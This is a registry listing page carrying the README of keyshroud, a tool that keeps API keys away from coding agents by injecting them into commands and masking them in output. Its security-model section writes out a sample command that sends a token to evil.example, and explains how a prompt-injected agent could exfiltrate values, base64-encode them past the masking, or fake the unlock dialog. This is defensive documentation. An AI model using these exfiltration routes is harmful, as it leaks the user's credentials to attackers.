
keyshroud
io.github.dinhkarate由 GitHub 账号 dinhkarate 发布v0.8.0更新于 Nov 3, 2026
Agent 安全密钥(本地加密保险库或 Vaultwarden):注入命令中,在输出中遮蔽
AI 翻译由 AI 模型根据下方的原文描述翻译,可能有误。
原文描述
Agent-safe secrets (local encrypted vault or Vaultwarden): injected into commands, masked in output
概览
keyshroud 的本地 MCP 服务;无需登录;STDIO。
暂无 AI 概览:以下信息来自注册中心条目和服务本身。
安装
在 SourceWeft 中
- 打开 控制台中的 keyshroud,将其添加到工作区。
- 为需要使用其工具的对话启用该服务。
Desktop only,通过 STDIO。 STDIO 服务会启动本地进程,因此需要 SourceWeft 桌面宿主。
其他 MCP 客户端
参照 仓库 中的启动说明。
README
[keyshroud]
Your agents use the keys. They never see them.
Keep API keys out of Claude Code, Codex, Cursor, Cline, OpenCode, Gemini CLI, pi and omp — secrets stay in an encrypted vault on your machine (or in your own Vaultwarden or Bitwarden, to share them between machines), and every value is masked before the model reads it.
[npm] [Downloads] [CI] [License: MIT] [Node]
🚀 Quickstart · 🔐 Local vault · 🔄 Sync with Vaultwarden · 🔌 Supported agents · ⚙️ How it works · ❓ FAQ · 🛡️ Security model · 🌐 Website
The command got the real token. The transcript — and the model reading it — got
<redacted:GH_TOKEN>. (Masking is automatic when an agent runs the command;
--mask forces it in a human terminal.)
Why keyshroud?
Coding agents need credentials to do real work: gh, npm publish, cloud CLIs,
webhooks, databases. The usual options are bad:
- ❌ Paste the key into the chat — now it is in the transcript, the provider's logs, and every future context window
- ❌ Put it in
.env— the agentcats it while debugging, or commits it - ❌ Pay for a secrets manager —
op runneeds a 1Password subscription, and most "agent vaults" are hosted SaaS - ❌ Use a vault MCP server — most of them return the plaintext value straight to the model
keyshroud fixes this:
- ✅ Names, not values — agents see
GH_TOKENandlocal://GitHub token, never the token - ✅ Masked output — any value that reaches stdout/stderr becomes
<redacted:GH_TOKEN> - ✅ Nothing to set up — an encrypted vault file with its key in your OS keychain; no account, no server
- ✅ Sync if you want it — Vaultwarden on a $5 VPS or a Raspberry Pi, or Bitwarden, for several machines
- ✅ Free — MIT-licensed, no telemetry
Features
Supported agents
Agents with a shell use the CLI: it costs no tool schemas in the context, and
keyshroud run masks output whatever the exit code. The MCP server is for
clients that cannot run commands.
Use cases
"Claude Code keeps reading my .env." Run keyshroud import to move the values into
the vault and write a .env.refs file with lines like GH_TOKEN=local://myapp GH_TOKEN, then start
the agent with keyshroud run --env-file .env.refs -- claude. The plugin's hooks mask anything that still slips into a tool result.
"I already self-host Vaultwarden." Log bw in to it and run keyshroud doctor: a machine with
a bw login keeps Vaultwarden as the default, and keyshroud adds no server of its own.
"I like op run but don't want 1Password." keyshroud run is the same idea —
references in, masked output out — with the vault on your machine or on a server you host.
"My agent needs to add a new key." It runs keyshroud add or calls secrets_request (MCP),
and a hidden-input dialog pops up on your desktop; in pi it is /secret. You paste the value
there. It never enters the chat.
Quickstart
Requirements: Node.js ≥ 22.18. Nothing else: no account, no server.
Without a terminal (an agent's shell), add opens a hidden-input dialog on your desktop instead,
so an agent can start it and you only paste. Already have a .env? keyshroud import moves it.
The local vault
~/.config/keyshroud/vault.json holds every item, encrypted with AES-256-GCM under one random
256-bit key. Item names are encrypted too; the file is 0600. Where the key lives depends on the machine:
The key mode is chosen once, when the vault is created. To be asked for a passphrase on any machine,
create it with KEYSHROUD_VAULT_KEY=passphrase keyshroud unlock in a terminal (typed twice, at least
12 characters). When a session has ended, a command that needs a secret asks again: a masked prompt in
a terminal, a dialog on the desktop, and over SSH it tells you to run keyshroud unlock.
Nothing can recover a lost key or a forgotten passphrase, and the vault belongs to one machine.
vault.json is safe to copy as long as its key is not. For backups and several machines, use
Vaultwarden or Bitwarden.
Sync across machines: Vaultwarden or Bitwarden
Keep the secrets in Vaultwarden or Bitwarden instead to have them on several machines; run, the
hooks, the MCP server and everything else work the same, through the Bitwarden CLI.
Get a vault — pick one:
- Self-host Vaultwarden (free, your server): follow
examples/vaultwarden — Docker Compose + Caddy with automatic HTTPS,
from an empty VPS to
keyshroud doctor, plus backups and hardening. - Bitwarden cloud (free account, no server): sign up at bitwarden.com
and skip
bw config serverbelow (EU accounts:bw config server https://vault.bitwarden.eu).
keyshroud picks the default once per machine and writes it to ~/.config/keyshroud/backend:
Vaultwarden when it finds a bw login or anything keyshroud 0.7 left behind, so upgrades change
nothing; the local vault otherwise. KEYSHROUD_BACKEND=local|bw overrides it, and keyshroud setup
switches to Vaultwarden by itself. References name their vault, so local://… and bw://… items work
side by side, and --item local://Name or --item bw://Name picks one for a single item.
keyshroud never stores the master password unless you do. When Vaultwarden is locked
and a command needs a secret, it asks: a masked prompt in a terminal, a native dialog
on the desktop (so an agent's command waits for you), and over SSH it tells you to run
keyshroud unlock. A session ends after 30 minutes (KEYSHROUD_SESSION_TTL_MS): a timer
runs bw lock, so a copied session token stops working too. On a host nobody sits at,
keyshroud unlock --unattended asks once, in a terminal only, and opens a session without an end.
To unlock without being asked, store the master password in the OS keychain
(security add-generic-password -a "$USER" -s vaultwarden-master-password -w, or
secret-tool store on Linux; after setup the entry is keyshroud-master-password; see the
vault setup guide). Any program running
as you can then read it, agents included. Windows has no keychain support for it.
Least privilege: a separate agent account
With the steps above, an unlocked session opens your whole Vaultwarden vault, and an agent that
runs bw as you can use it. setup gives keyshroud its own bw login on a dedicated
account instead, which holds only the secrets agents need:
- The agent login lives in
~/.config/keyshroud/bw(BITWARDENCLI_APPDATA_DIR). Your ownbwlogin is untouched. Its master password is not stored: keyshroud asks for it when a session ends and keeps only a scrypt hash, soaddcan refuse it as a secret. migratecopies the items that wired names (and any--env-file/--item) reference, with the same names, then locks your personal vault again. Originals stay where they are. It asks for your personal master password in a terminal (or reads the keychain entryvaultwarden-master-password).- An agent can run
setuptoo. Without a terminal it opens the signup page, where you pick the agent account's master password yourself (save it in your password manager); then the agent runssetup --registered, which asks for it in a dialog. The password never passes through anything the agent can read.--confirm-unlockand--unattendedneed a terminal. --confirm-unlock(macOS) stores the master password in the keychain entrykeyshroud-master-passwordso that macOS asks you before every read, i.e. every unlock.- If bw loses the login (a rejected refresh token logs it out), keyshroud on a Mac with the master password in the keychain asks for Touch ID and logs the agent account back in.
--unattended(hosts nobody sits at, e.g. overssh -t) logs in with a session without an end. Unlock it again withkeyshroud unlock --unattended.- Self-hosted Vaultwarden with
SIGNUPS_ALLOWED=false: invite the address from the admin page (/admin), or allow signups for a minute, then pass--registeredonce the account exists.
How it works
- Wiring. A secret is wired by name:
GH_TOKEN → local://GitHub token(orbw://GitHub CLI token). Wiring lives in~/.pi/agent/auth.json/~/.omp/agent/auth.json(shared with pi/omp, which can run the!keyshroud get '…'entries on their own) and in project.env.refsfiles. Both are safe to read. - Unlock. The local vault's key comes from the OS keychain, or from a passphrase session that
ends after 30 minutes. Vaultwarden: keyshroud asks for the master password (or reads one you
stored in the OS keychain); the session token is cached in
~/.config/keyshroud/session(0600) and locked again after 30 minutes. - Resolve.
local://references are read from the vault file;bw://references resolve from onebw list itemssnapshot held in memory forKEYSHROUD_CACHE_TTL_MS(default 1 h). - Inject. Values go into the child process environment — never into argv
or tool results (
injectwrites0600files only when you ask it to). - Redact. In-process (
run, MCP, pi/omp) output passes through a redactor that knows every wired value, the session token or vault key, and every value in the vault. Out-of-process Claude Code hooks use a keyed-HMAC fingerprint index (redact-index.json,0600) of wired values and the session token or key only, so they never hold plaintext or fingerprint your personal passwords.
Claude Code
Install the CLI, then the plugin (redaction hooks + skill):
What you get:
- SessionStart hook — refreshes the redaction index and tells Claude which
secret names exist. It never asks for a master password or passphrase: with a
locked vault it tells Claude to ask you to run
keyshroud unlock. - PostToolUse hook — rewrites any successful tool result that contains a
wired value or the vault session token to
<redacted:NAME>using Claude Code'supdatedToolOutput(tested with Claude Code 2.1.296). Limit: when a command fails, Claude Code firesPostToolUseFailure, which cannot rewrite output. The skill and session context therefore tell Claude to run every secret-using command throughkeyshroud run, which masks inside the process regardless of the exit code. - Skill — teaches Claude to use names and references, never values.
Claude uses the CLI from its Bash tool, so the plugin adds no MCP server (since
0.6.1). To add one anyway: claude mcp add keyshroud -- keyshroud mcp.
The plugin calls keyshroud from PATH. If Claude Code is launched from a GUI
that doesn't see your npm/nvm bin directory, run keyshroud link-cli (links it
into ~/.local/bin) and make sure that directory is on the GUI's PATH.
To give Bash commands the secrets as env vars, start Claude through keyshroud:
Use a vault item as Claude Code's own API key (apiKeyHelper):
It backs up settings.json first and refuses to replace an existing helper
without --force.
pi / omp
The extension:
- hydrates wired secrets into the agent's environment before provider auth
resolves, so
$CUSTOM_KEYprovider references work at startup; - redacts every tool result, successful or failed, through the
tool_resulthook (wired values, the session token or vault key, and every password in the vault); - with a passphrase vault, takes its values out of the agent's environment once the
session ends or you run
keyshroud lock, checked before every tool and!command; - adds
/secret(describe → confirm name → masked paste),/vault_add,/vault_wire,/vault_rotate,/vault_status, and thevault_add_secret/vault_statustools.
/secret can ask a local OpenAI-compatible model to propose the item and
variable names. Only your description is sent — never the value:
Without a planner, names are derived from the description and you can edit them.
Other agents with a shell
Codex, OpenCode, Gemini CLI, Cursor's agent and anything else that can run commands: install the
CLI and the skill, which teaches the agent to run secret-using commands as keyshroud run -- …
and to store new secrets with keyshroud add:
MCP clients without a shell
Claude Desktop, chat-only clients, or an agent you do not allow to run commands. Any client that speaks MCP over stdio:
Codex, if you want MCP there too: codex mcp add keyshroud -- keyshroud mcp. Non-interactive codex exec refuses MCP calls that need approval; allow keyshroud's tools explicitly:
OpenCode: opencode mcp add keyshroud -- keyshroud mcp.
CLI reference
--item takes a name (stored in the default vault), local://Name or bw://Name.
run masks output whenever stdout is not a terminal (agents, CI, pipes) and
passes the TTY through untouched for interactive use. Force either way with
--mask / --no-mask. exec is an alias of run.
add and rotate read the value from a masked prompt that shows * per
character. Without a terminal (an agent's shell), they open a native hidden-input
dialog instead (osascript on macOS, zenity or kdialog on Linux, PowerShell on Windows), so the agent
can start the command and you only paste. Over SSH or without a display, pipe the
value with --stdin.
import reads a .env (default ./.env), decides which lines are secrets (by name, such as
*_TOKEN or *_KEY, or by value, such as sk-… or a URL with a password), and prints a plan of
names only. Nothing is written until you add --yes: it then creates one vault item per secret,
named <prefix> NAME (prefix defaults to the directory name), reads each value back to verify it,
and writes .env.refs (NAME=local://<prefix> NAME) with comments and non-secret lines kept. Re-running reuses items that already
hold the same value and stops on a conflicting one. --replace rewrites the source file in place
instead (atomically, no backup copy). Multiline values, ${VAR} expansion and duplicate keys are
rejected with the line number, never the value.
Exit codes: 0 ok · 2 usage · 3 vault locked or unavailable · 4 secret
missing or item name ambiguous · 5 refusing to overwrite existing state.
run exits with the child's code.
References
Item lookup is case-insensitive by name or exact by id. Duplicate names fail
closed (exit 4) instead of guessing; the local vault refuses to create one.
Configuration
FAQ
Do I need Vaultwarden? No. Secrets live in an encrypted file on your machine by default. Vaultwarden (or the official Bitwarden cloud) is optional: use it to have the same secrets on several machines, or a copy on a server.
Do secrets leave my machine? Not with the local vault. With Vaultwarden or Bitwarden, only between
bw and your server. keyshroud has no backend of its own and sends no telemetry; values go into the
environment of the command you run.
I used keyshroud 0.7. What changes? Nothing. A machine with a bw login, keyshroud's files, wired
bw:// or !bw entries, BW_SESSION, or the master password in the keychain keeps Vaultwarden as the
default and writes that down in ~/.config/keyshroud/backend. Only a machine where none of these exist
looks new and gets the local vault; set KEYSHROUD_BACKEND=bw there if it should not.
How do I back up the local vault? vault.json is encrypted, so copy it anywhere; it opens only with
its key, which stays in this machine's keychain (or your passphrase). If you lose the machine, you lose
the key. For a real backup, or the same secrets on several machines, use Vaultwarden or Bitwarden.
Can the agent still use the key? Yes. The command gets the real value; only the text the model reads is masked.
Is this a sandbox? No. It stops accidental disclosure. A hostile or prompt-injected agent can still exfiltrate a value it can use — see the security model.
Why not just .gitignore my .env? That stops commits, not reads. Agents read .env
to debug, and whatever they read goes to the model provider.
Does it work on Windows? Yes, tested on Windows 10 with Node 22. The local vault keeps its key
with DPAPI, bound to your Windows account. bw and other npm CLIs (.cmd shims) run without a shell,
the unlock dialog is a small PowerShell window, and sessions end after 30 minutes like elsewhere. Files in
%USERPROFILE%\.config\keyshroud are protected by your profile's ACL (you, SYSTEM, Administrators), not
by 0600. One gap: over an SSH session with a terminal (ssh -t), Windows ends the lock timer when the
SSH session closes, so that session ends on the next keyshroud call instead. There is no keychain support
for the Vaultwarden master password on Windows: keyshroud asks for it, and migrate cannot run there.
bw login prints KeyIdBackfillError? bw 2026.9 and later call an endpoint that Vaultwarden
added in 1.37.4 (vaultwarden#7750). The login
is saved anyway (bw status says locked), and keyshroud setup and the API-key login carry on by
themselves. Update Vaultwarden to 1.37.4 or later to make the error go away.
Security model
keyshroud protects against accidental disclosure: secrets ending up in transcripts, provider logs, screenshots, commits, or the model's context because a command printed them.
It does not make a hostile or prompt-injected agent safe. An agent that can
run keyshroud run -- curl https://evil.example -d "$TOKEN", or base64-encode a
value before printing it, can exfiltrate it. If that is your threat model, use
an egress proxy that swaps placeholder credentials on the wire (for example
Infisical Agent Vault or OneCLI), restrict which secrets each session
gets with --only, and keep a human approving commands.
The local vault is encrypted at rest (AES-256-GCM); its key is in your OS keychain (macOS
keychain, Linux Secret Service, Windows DPAPI). Any program running as you can read that key, agents
included, so in this mode keyshroud does not ask before opening the vault: the same exposure as storing
a Vaultwarden master password in the keychain, and weaker than Vaultwarden's ask-every-30-minutes
default. Create the vault with KEYSHROUD_VAULT_KEY=passphrase to be asked (sessions end after 30
minutes). A local vault belongs to one machine and has no recovery: back up with Vaultwarden or
Bitwarden, which is also the option for several machines. vault.json is safe to copy only as long as
its key is not.
Guarantees we test for:
- secret values never appear in argv, logs, diagnostics, MCP results, hook
output, or
audit.jsonl; - new secrets are read from a masked prompt,
--stdin, or a native dialog, never flags; - the dialog an agent can open says it was requested by a program, warns against the master password, refuses names that are not one printable line, refuses the master password itself, and opens one at a time (30 s pause after a cancel);
- the session file, local vault, redact index, rendered templates and auth files are
0600; - the local vault is replaced atomically (temporary file, fsync, rename) under a lock, changes to any part of it fail its integrity check, and a vault that fails it is never overwritten;
- a local vault's passphrase is set only in a terminal, never stored, and refused as a secret;
- auth.json writes are locked and atomic and never overwrite without
--force; - commands started by
runandsecrets_runnever receiveBW_SESSION,BW_PASSWORD,BW_CLIENTIDorBW_CLIENTSECRET, so--onlyreally limits what a command can read (inside pi/omp the agent process keeps the session for legacy!bwauth entries; its value is redacted from tool output); - env files may contain only references and literals: a
!commandvalue is rejected, and so are variables that change what programs load or run (PATH,NODE_OPTIONS,LD_*,DYLD_*,BASH_ENV,GIT_SSH_COMMAND, …), which are also never wired or injected; - an unparseable
auth.jsonis never overwritten.
Known limits: a .env.refs can reference any item in your vault, not only the
ones you wired, so read a cloned repo's .env.refs before running --env-file
with it. import decides what is secret by heuristics and keeps everything else
as a literal; check its plan before committing .env.refs. The Claude Code
PostToolUse hook does not see failed commands (PostToolUseFailure cannot
rewrite output) or anything a client sends as telemetry, and it only knows wired
values, so keyshroud get bw://… or run --no-mask print in the clear; run
secret-using commands through keyshroud run or secrets_run. An agent with shell access as your user can open a
keychain-mode local vault at any time, and use a passphrase vault's session files until the session
ends. It can also read ~/.config/keyshroud/session and use bw directly until that session ends —
after setup that reaches only the agent account; a stored master password (keychain entry or
~/.config/keyshroud/master-password) it can read at any time, which is why keyshroud asks
instead by default; otherwise run agents in a sandbox or container if that matters. The same
agent could also draw a window that looks like the unlock dialog; when in doubt, cancel it and run
keyshroud unlock in a terminal. Without setup, keyshroud shares bw's default login, so the
30-minute lock also ends a bw session you opened yourself. Redaction is exact-match, so a partial or transformed value
(${TOKEN:0:10}, base64, a line wrapped by a tool) is not masked; values
shorter than 6 characters are not redacted (to avoid noise), so don't wire short
PINs.
Report vulnerabilities privately — see SECURITY.md.
Development
See CONTRIBUTING.md. The runtime-neutral core is in
src/core.ts (the local vault's file format in src/vault.ts); agent integrations
live in extensions/, src/mcp.ts and src/hooks.ts.
Credits
Inspired by @jmcombs/pi-1password
— its popup UI and diagnostics shape are ported here (MIT). Masked output follows
1Password's op run. Not affiliated with Bitwarden, Inc. or the Vaultwarden
project; "Bitwarden" is a trademark of Bitwarden, Inc.
License
MIT © 2026 dinhkarate
来源:README.md,提交 4b60b81
工具
0版本历史
13- v0.8.0最新Nov 3, 2026
- v0.7.6Oct 25, 2026
- v0.7.5Oct 20, 2026
- v0.7.4Oct 20, 2026
- v0.7.3Oct 19, 2026
- v0.7.2Oct 19, 2026
- v0.7.1Oct 18, 2026
- v0.6.2Oct 18, 2026
- v0.6.1Oct 18, 2026
- v0.6.0Oct 17, 2026
- v0.5.3Oct 15, 2026
- v0.5.2Oct 15, 2026
- v0.5.1Oct 14, 2026
评分
已满足适用检查项的 50%
该评分衡量此收录条目的完整程度,依据注册中心条目、端点与公开来源计算得出。它不是对服务器本身的评价,也不表示服务器安全或当前可用:可连通性是带日期的检查结果,评分也不包含安装量或用户评价。
- 近 30 天内可连通25 分
请保持端点能够响应 MCP 握手;SourceWeft 每 30 天探测一次。
- 已声明认证方式10 分
请在注册中心条目中声明凭据请求头,或保持端点能够响应探测,以便判定其认证方式。
- 已列出工具15 分
请让服务器在无凭据时响应 tools/list,或发布可在沙箱中无凭据启动的软件包。
- 描述必需15 分
- 图标10 分
- 文档15 分
- 许可证10 分